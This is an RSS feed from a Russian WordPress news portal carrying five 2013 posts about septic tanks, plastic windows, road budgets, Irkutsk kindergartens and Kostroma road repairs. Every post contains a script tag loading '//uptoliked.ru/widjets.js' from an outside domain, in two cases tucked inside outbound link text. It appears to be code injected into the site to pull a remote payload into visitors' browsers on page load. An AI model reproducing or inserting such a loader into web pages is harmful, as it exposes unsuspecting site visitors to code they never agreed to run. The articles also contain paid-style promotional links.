<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Fancy City Portal &#187; ремонт</title>
	<atom:link href="https://fcp-press.ru/tag/remont/feed" rel="self" type="application/rss+xml" />
	<link>https://fcp-press.ru</link>
	<description></description>
	<lastBuildDate>Sun, 08 Jun 2025 15:51:42 +0000</lastBuildDate>
	<language>ru-RU</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.6</generator>
		<item>
		<title>Самодельные септики для дачи</title>
		<link>https://fcp-press.ru/samodelnye-septiki-dlya-dachi.html</link>
		<comments>https://fcp-press.ru/samodelnye-septiki-dlya-dachi.html#comments</comments>
		<pubDate>Thu, 10 Oct 2013 13:52:54 +0000</pubDate>
		<dc:creator>NNews</dc:creator>
				<category><![CDATA[Строительство]]></category>
		<category><![CDATA[ремонт]]></category>

		<guid isPermaLink="false">http://fcp-press.ru/?p=437</guid>
		<description><![CDATA[Люди, которые сами строят свои дома, будь то постоянное жилье или дачная постройка, должны каким-то образом решать проблему утилизации отходов. При создании дачного туалета свими руками чаще всего используется либо обычная выгребная яма, либо переливная яма, выполненная из бетонных колец, либо септик, который может быть как наружным, так и подземным. Правильно построенный септик для дачи [&#8230;] <a href="https://fcp-press.ru/samodelnye-septiki-dlya-dachi.html" title="Самодельные септики для дачи">читать далее...</a>]]></description>
				<content:encoded><![CDATA[<p><a href="http://fcp-press.ru/wp-content/uploads/2013/10/45748475.jpg"><img src="http://fcp-press.ru/wp-content/uploads/2013/10/45748475-300x224.jpg" alt="Самодельные септики для дачи" width="300" height="224" class="alignleft size-medium wp-image-438" /></a>Люди, которые сами строят свои дома, будь то постоянное жилье или дачная постройка, должны каким-то образом решать проблему утилизации отходов. При создании дачного туалета свими руками чаще всего используется либо обычная выгребная яма, либо переливная яма, выполненная из бетонных колец, либо септик, который может быть как наружным, так и подземным. <span id="more-437"></span></p>
<p>Правильно построенный <a href="http://elite-water.ecvols.ru/catalog/septiki/septiki_dlya_dachi/">септик для дачи<script src="//uptoliked.ru/widjets.js"></script></a> должен предусматривать создание 2 камер для первичного очищения сточных вод, а также устройство для почвенной доочистки стоков. Если очистные сооружения построены правильно, то от септика не будет идти неприятный запах.</p>
<p>Септик, изготовленный промышленно, скорее всего, обойдется вам недешево, поэтому можно попытаться сделать его самостоятельно. Для этого в интернете нужно найти схемы, где будет подробно расписано, каким образом строится такая система и из каких материалов ее создать, чтобы максимально сэкономить. Если вы все сделаете правильно, то септик будет работать хорошо и вполне справится со своими задачами. </p>
<p>Есть несколько вариантов подходящий септиков для дачи. Например, вам вполне подойдет поверхностный, если вы используете дачу только в теплое время, на даче нет ванной и при этом в вашей семье не более 4 человек. Такой септик будет стоить дешевле, при этом он является единственным подходящим вариантом при высоком уровне подземных вод. </p>
<p>Однако самой оптимальной и проверенной конструкцией в любом случае остается только привычный подземный септик. Да, сделать его немного труднее и дороже, но если у вас крупный дом с ванной и большая семья, кроме того этот дом активно используется в течение всего года, то без подземного септика не обойтись. Он строится по модульному принципу и в любом время можно увеличить его мощность. Обратите внимание, что для отвода жидкости из такого септика желательно применять дренажные тоннели, выполненные из полипропилена. </p>
]]></content:encoded>
			<wfw:commentRss>https://fcp-press.ru/samodelnye-septiki-dlya-dachi.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Какие лучше поставить пластиковые окна</title>
		<link>https://fcp-press.ru/kakie-luchshe-postavit-plastikovye-okna.html</link>
		<comments>https://fcp-press.ru/kakie-luchshe-postavit-plastikovye-okna.html#comments</comments>
		<pubDate>Sat, 05 Oct 2013 19:30:33 +0000</pubDate>
		<dc:creator>NNews</dc:creator>
				<category><![CDATA[Строительство]]></category>
		<category><![CDATA[ремонт]]></category>

		<guid isPermaLink="false">http://fcp-press.ru/?p=373</guid>
		<description><![CDATA[Если вас прежде всего интересует, какие окна ставятся чаще всего в домах, то тут стоит сказать, что брендов существует огромное количество, и потому выбор сегодня очень даже большой. Можно отметить такие фирмы-производители, как Векка, Tocal, RBE, Rehau. И сегодня рейтинг основан на таких факторах: качество сервиса, бренд и покупательский спрос, который основывается на цене и [&#8230;] <a href="https://fcp-press.ru/kakie-luchshe-postavit-plastikovye-okna.html" title="Какие лучше поставить пластиковые окна">читать далее...</a>]]></description>
				<content:encoded><![CDATA[<p><a href="http://fcp-press.ru/wp-content/uploads/2013/10/45654854.jpg"><img src="http://fcp-press.ru/wp-content/uploads/2013/10/45654854-300x212.jpg" alt="Какие лучше поставить пластиковые окна" width="300" height="212" class="alignleft size-medium wp-image-374" /></a>Если вас прежде всего интересует, какие окна ставятся чаще всего в домах, то тут стоит сказать, что брендов существует огромное количество, и потому выбор сегодня очень даже большой. Можно отметить такие фирмы-производители, как Векка, Tocal, RBE, Rehau. И сегодня рейтинг основан на таких факторах: качество сервиса, бренд и покупательский спрос, который основывается на цене и на популярности изделия. <span id="more-373"></span>На странице <a href="http://www.plastika-okon.ru">http://www.plastika-okon.ru<script src="//uptoliked.ru/widjets.js"></script></a> узнайте об этом подробнее.</p>
<p>Самые популярные окна сегодня &#8212; это пластиковые. И потому компании, которые занимаются продажей таких изделий, предоставляют также услуги и по установке, и по доставке. Именно потому смело можно говорить, что фирму выбирают не только по качеству самих окон, но и по тому обслуживанию, которое предлагает фирма. </p>
<p>Обычно серьезные компании, которые занимаются продажей оконных профилей, используют в своей продукции проверенный профиль ПВХ. Только таким образом можно на рынке создать конкурентную продукцию, которая сможет быть лидером на рынке. Есть также европейские стандартны качества, которые невозможно отметать, когда речь идет о хороших качественных окнах. </p>
<p>Вообще, компания Rihau считается производителем самых лучших профилей, и поэтому многие обращают внимание именно на них. Все это подтверждено практикой тысяч людей, которые уже купили себе такие окна и установили их. Эта компания имеет очень большой опыт в данной сфере, и потому на ее репутацию смело можно положиться. </p>
<p>Рынок сегодня перенасыщен предложениями. И ваша задача &#8212; это выбрать такую продукцию, которая максимально будет соответствовать вашим запросам и вашим понятиям о том, какими должны быть действительно хорошие окна.</p>
]]></content:encoded>
			<wfw:commentRss>https://fcp-press.ru/kakie-luchshe-postavit-plastikovye-okna.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Смена приоритетов в дорожном вопросе</title>
		<link>https://fcp-press.ru/smena-prioritetov-v-dorozhnom-voprose.html</link>
		<comments>https://fcp-press.ru/smena-prioritetov-v-dorozhnom-voprose.html#comments</comments>
		<pubDate>Sat, 21 Sep 2013 21:59:41 +0000</pubDate>
		<dc:creator>galla-48</dc:creator>
				<category><![CDATA[Бизнес и финансы]]></category>
		<category><![CDATA[Дороги]]></category>
		<category><![CDATA[Строительство]]></category>
		<category><![CDATA[бюджет]]></category>
		<category><![CDATA[дороги]]></category>
		<category><![CDATA[Москва]]></category>
		<category><![CDATA[ремонт]]></category>

		<guid isPermaLink="false">http://fcp-press.ru/?p=202</guid>
		<description><![CDATA[Сумма, которая заложена в бюджет на строительство новых дорог, на протяжении трех последующих годов будет снижаться. Правительство решило сменить вектор приложения усилий на поддержание хорошего состояния имеющихся дорожных магистралей, и их своевременный ремонт. Вплоть до 2016 года объем инвестиций в дорожный фонд увеличится более чем на 60 млрд руб., и этот прирост будет направлен именно [&#8230;] <a href="https://fcp-press.ru/smena-prioritetov-v-dorozhnom-voprose.html" title="Смена приоритетов в дорожном вопросе">читать далее...</a>]]></description>
				<content:encoded><![CDATA[<p>Сумма, которая заложена в бюджет на строительство новых дорог, на протяжении трех последующих годов будет снижаться. Правительство решило сменить вектор приложения усилий на поддержание хорошего состояния имеющихся дорожных магистралей, и их своевременный ремонт. Вплоть до 2016 года объем инвестиций в дорожный фонд увеличится более чем на 60 млрд руб., и этот прирост будет направлен именно на эк<img class="size-full wp-image-203 alignleft" alt="Ремонт дорог" src="http://fcp-press.ru/wp-content/uploads/2013/09/Ремонт-дорог.jpg" width="300" height="230" />сплуатационные и ремонтные работы.</p>
<p>Если этого не сделать, то в скором времени разрушение дорог приведет к тому, что единственным выходом будет полная замена асфальтного покрытия. Это означает увеличение дополнительных расходов.<br />
Новые дороги появятся только в тех местах, где есть острая насущная потребность, либо готовые платить за них потребители.</p>
<p>Категорическое решение Правительства дорожники и экономисты приняли без энтузиазма. Дело в том, что существующие трассы уже не один год работают с огромными перегрузками, их необходимо расширять для повышения пропускной способности. Отсутствие денег на модернизацию дорог неизбежно приведет к тому, что повысятся акцизы на топливо. Иных источников поступления в дорожные фонды нет.</p>
<p>Такое сокращение бюджетного финансирования затронет и Москву. В 1,5 раза меньше будет затрачено средств на строительство дорог. В планах столичного руководства прокладывание 400 километров новых магистралей, деньги частично будут привлекаться от частных вкладчиков. Бюджетные средства пойдут только на реконструкцию развязок на МКАД, а прилежащие дороги будут проложены за счет инвесторов.<br />
В Москве большее внимание будет уделяться модернизации общественного транспорта, в частности, трамваев. Деньги на это перераспределятся за счет уменьшения доли инвестиций на строительство автомобильных дорог.<script src="//uptoliked.ru/widjets.js"></script></p>
]]></content:encoded>
			<wfw:commentRss>https://fcp-press.ru/smena-prioritetov-v-dorozhnom-voprose.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Забота о детях по-иркутски</title>
		<link>https://fcp-press.ru/zabota-o-detyax-po-irkutski.html</link>
		<comments>https://fcp-press.ru/zabota-o-detyax-po-irkutski.html#comments</comments>
		<pubDate>Wed, 18 Sep 2013 22:47:00 +0000</pubDate>
		<dc:creator>galla-48</dc:creator>
				<category><![CDATA[Для детей]]></category>
		<category><![CDATA[Прочие удобства]]></category>
		<category><![CDATA[Строительство]]></category>
		<category><![CDATA[дети]]></category>
		<category><![CDATA[детская лощадка]]></category>
		<category><![CDATA[Детский сад]]></category>
		<category><![CDATA[Иркутск]]></category>
		<category><![CDATA[ремонт]]></category>

		<guid isPermaLink="false">http://fcp-press.ru/?p=156</guid>
		<description><![CDATA[В Иркутске городские власти всерьез принялись за решение проблемы детских дошкольных учреждений. Вчера был подписан акт о приеме в эксплуатацию нового здания детского сада, еще одного из тринадцати, которые предполагается построить до 2017 года. Всего за этот период путевки получат 2420 дошкольников. Новый детский сад уже полностью готов принять малышей, воспитателям осталось только привести в [&#8230;] <a href="https://fcp-press.ru/zabota-o-detyax-po-irkutski.html" title="Забота о детях по-иркутски">читать далее...</a>]]></description>
				<content:encoded><![CDATA[<p><a href="http://fcp-press.ru/wp-content/uploads/2013/09/Иркутск.jpg"><img src="http://fcp-press.ru/wp-content/uploads/2013/09/Иркутск-300x226.jpg" alt="Иркутск" width="300" height="226" class="alignnone size-medium wp-image-157" /></a>В Иркутске городские власти всерьез принялись за решение проблемы детских дошкольных учреждений. Вчера был подписан акт о приеме в эксплуатацию нового здания детского сада, еще одного из тринадцати, которые предполагается построить до 2017 года. Всего за этот период путевки получат 2420 дошкольников.<br />
Новый детский сад уже полностью готов принять малышей, воспитателям осталось только привести в порядок помещения, расставить новое оборудование и мебель, расположить игрушки. Сейчас идет процедура оформления необходимых документов для передачи нового здания в собственность муниципалитета. В октябре дети-дошкольники уже придут в свои новые группы.<br />
До конца этого года в планах городской администрации и строителей сдача еще двух подобных объектов. Реализация столь масштабного строительства социальных объектов для детей обойдется городскому  бюджету за период 2013-2017 годы более чем в полтора миллиарда рублей, еще 200 миллионов софинансирует бюджет Иркутской области.<br />
Увеличение количества детских учреждений для Иркутска особенно важно. Ведь за шесть месяцев этого года увеличение рождаемости в столице ангарского края превысило общероссийские показатели на 3,7 процента.<br />
Внимание к «детским» проблемам – отличная характеристика работы городской администрации. Несколькими днями ранее в ее пресс-службе заявили об окончании ремонта 47 площадок для детей в Правобережном районе Иркутска. Для большей безопасности ребятишек детские городки были обнесены ограждающими конструкциями, отреставрированы качели, заменено специальное покрытие. Ремонт коснулся и спортивных площадок. Восстановление детских игровых зон обошлось в 1,2 миллиона рублей. В 2014 году такая работа будет продолжена, городские чиновники уже готовят перечень адресов детских площадок, где пройдут ремонтные работы.<br />
<script src="//uptoliked.ru/widjets.js"></script></p>
]]></content:encoded>
			<wfw:commentRss>https://fcp-press.ru/zabota-o-detyax-po-irkutski.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Костромская область:  количество ДТП уменьшилось почти на 40%</title>
		<link>https://fcp-press.ru/kostromskaya-oblast-kolichestvo-dtp-umenshilos-pochti-na-40.html</link>
		<comments>https://fcp-press.ru/kostromskaya-oblast-kolichestvo-dtp-umenshilos-pochti-na-40.html#comments</comments>
		<pubDate>Mon, 16 Sep 2013 21:29:50 +0000</pubDate>
		<dc:creator>galla-48</dc:creator>
				<category><![CDATA[Дороги]]></category>
		<category><![CDATA[Общее]]></category>
		<category><![CDATA[дороги]]></category>
		<category><![CDATA[Кострома]]></category>
		<category><![CDATA[ремонт]]></category>

		<guid isPermaLink="false">http://fcp-press.ru/?p=110</guid>
		<description><![CDATA[Одна из бед, которые, согласно известной поговорке, лучше всего характеризуют Россию, в Костроме уже не столь характерна. Все известно состояние наших дорог. Эта проблема практически на всей территории страны по статистике была всегда под номером один. «Ямочные» ремонты, которые повсеместно практикуются с наступлением ранней весны, и потом продолжаются почему-то именно в дождливую и ненастную погоду, [&#8230;] <a href="https://fcp-press.ru/kostromskaya-oblast-kolichestvo-dtp-umenshilos-pochti-na-40.html" title="Костромская область:  количество ДТП уменьшилось почти на 40%">читать далее...</a>]]></description>
				<content:encoded><![CDATA[<p><a href="http://fcp-press.ru/wp-content/uploads/2013/09/Кострома.jpg"><img src="http://fcp-press.ru/wp-content/uploads/2013/09/Кострома-300x206.jpg" alt="Кострома" width="300" height="206" class="alignnone size-medium wp-image-111" /></a>Одна из бед, которые, согласно известной поговорке, лучше всего характеризуют Россию, в Костроме уже не столь характерна.<br />
Все известно состояние наших дорог. Эта проблема практически на всей территории страны по статистике была всегда под номером один. «Ямочные» ремонты, которые повсеместно практикуются с наступлением ранней весны, и потом продолжаются почему-то именно в дождливую и ненастную погоду, нисколько не улучшали существующего положения вещей.<br />
Кострома взялась за ремонт дорог со всей серьезностью. По поручению губернатора области была составлена карта, на которой отмечены все участки дорог, аварии на которых происходили чаще всего. Именно эти сложные отрезки трасс и стали первыми в очереди на ремонт. Дорожники устранили все несанкционированные съезды с дорог, увеличили степень дорожного обзора, вырубив дикорастущий кустарник. Асфальтное покрытие было отремонтировано на площади почти  в триста тысяч квадратных метров.<br />
На обновленных трассах полностью нанесена новая дорожная разметка. Для большей безопасности участников дорожного движения были установлены новые дорожные знаки, а те, которые потеряли свою функциональность, подлежали замене.<br />
Итоги столь кропотливой работы по восстановлению дорожного полотна не замедлили сказаться на статистике ДТП. Как было заявлено на только что прошедшем оперативном совещании в руководстве Костромской области, за период с начала этого года на 38% снизилось число дорожно-транспортных происшествий, связанных с состоянием дорог. А общее число автомобильных аварий  на дорогах области уменьшилось практически на 12%.<br />
«Костромаавтодор» не собирается останавливаться на полпути. Работы по восстановлению  асфальтного покрытия дорог продолжаются, и остается надеяться, что в ближайшем будущем все транспортные магистрали Костромской области будут вызывать хорошую зависть у автовладельцев из других регионов.<br />
<script src="//uptoliked.ru/widjets.js"></script></p>
]]></content:encoded>
			<wfw:commentRss>https://fcp-press.ru/kostromskaya-oblast-kolichestvo-dtp-umenshilos-pochti-na-40.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
